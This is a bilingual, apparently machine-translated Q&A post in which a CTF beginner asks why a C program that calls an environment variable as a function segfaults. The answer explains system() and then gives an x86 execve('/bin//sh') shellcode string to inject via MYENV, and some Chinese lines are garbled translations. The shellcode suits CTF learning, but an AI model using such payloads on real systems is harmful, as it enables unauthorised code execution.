尝试在环境变量中执行值时出现分段错误

问题描述：

嘿，所以我试图解决初学者 ctf 事件的问题.

Hey so I was trying to solve a problem for beginners ctf event.

这是我试图运行的代码.

And this is the code that I am trying to run.

#include <stdio.h>
#include <stdlib.h>

int main(){
            int (*func)();
            func = getenv("MYENV");
            func();
            return 0;
}

我创建了一个这样的 MYENV 环境:

I created a MYENV environment like this :

导出 MYENV=ls

但是在运行代码时，它会抛出一个分段错误(核心转储).我不明白为什么.

but on running the code, it throws a segmentation fault (core dumped). I don't understand why.

func 函数基本上是调用环境变量，其值是我设置的一个简单命令.为什么会抛出错误.

The func function is basically calling the environment variable whose value is a simple command that I set. Why is it throwing an error.

我对 linux 和 shell 很陌生，所以如果这太天真了，我很抱歉.

I'm very new at linux and shell, so I'm sorry if this is too naive.

答

在 C 中，如果要运行系统命令，则必须使用 system 函数(或 exec 函数，但这更复杂):

In C, if you want to run a system command, you have to use the system function (or one of the exec functions but that's more complicated):

#include <stdio.h>
#include <stdlib.h>

int main() {
    char* cmd = getenv("MYENV");
    system(cmd);
    return 0;
}

如果你想运行任意代码，你可以向其中注入 shell 代码:

If you're looking to run arbitrary code, you can inject shell code into it:

export MYENV=$'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'

您可以在此处了解更多信息.

You can learn more here.

尝试在环境变量中执行值时出现分段错误

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